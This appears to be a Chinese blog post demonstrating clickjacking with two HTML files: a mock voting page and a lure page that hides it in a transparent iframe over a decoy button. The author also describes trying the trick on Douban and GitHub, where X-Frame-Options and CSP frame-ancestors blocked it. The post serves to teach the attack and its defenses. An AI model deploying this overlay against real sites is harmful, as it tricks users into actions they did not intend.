點選劫持 小例
阿新 • • 發佈:2018-11-10
點選劫持(UI-覆蓋攻擊/click jacking)
一個關於點選劫持的小示例,首相看下理論知識
專案思路
首先,製作一個功能頁面,作為被iframe巢狀的功能頁面;這個頁面的功能就是模仿投票功能,點選按鈕時,即可完成投票功能,控制檯會同步打印出操作資訊。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0" >
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<style>
.vote{
width: 183px;
margin: 0 auto;
margin-top: 220px
}
</style>
</head>
<body>
<div class="vote">
<input type="text" value ="5號選手">
<button>投票</button>
</div>
<script>
var span = document.getElementsByTagName('button')[0]
span.addEventListener('click', function(){
console.log('哈哈,謝謝你偷偷幫我投票~')
})
</script>
</body>
</html>
複製程式碼
製作一個只有圖片的頁面,用於迷惑使用者進行互動;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>click jacking demo</title>
<style>
body {
padding: 0;
margin: 0
}
.png {
height: 100%;
width: 100%;
}
.iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 3;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
.btn {
display: inline-block;
padding: 2px 3px;
background: burlywood;
color: #fff;
position: absolute;
top: 221px;
left: 766px;
z-index: 2;
cursor: pointer;
border-radius: 30%
}
</style>
</head>
<body>
<img class='png' src="./image/clickme.jpeg" alt="">
<iframe class="iframe" src="./iframe.html" scolling='no' allowTransparency="true"></iframe>
<span class="btn">click</span>
</body>
</html>
複製程式碼
瀏覽器開啟,會發現根據提示點選按鈕,會在控制檯中列印了相關的資訊,就是說,即使我沒有在功能頁面進行投票操作,可是能投票。
在迷惑頁面中把 iframe
的 opacity
屬性值修改成 0.3
,就能看到這個迷惑的原因了。
其他
本來想做個壞事的,想要試試用於豆瓣上,直接定位到關注按鈕那,不過 iframe 豆瓣的頁面時,控制檯報錯了,這個想要說明的是使用設定X-frame-options
屬性是真有效的。
也試過直接內嵌 github
的地址,也會報錯,這個錯是報跨域的錯,不過具體的還不知道是怎麼設定防禦的。
an ancestor violates the following Content Security Policy directive: “frame-ancestors ...
複製程式碼
至此,已經把 點選劫持
的形式演示完畢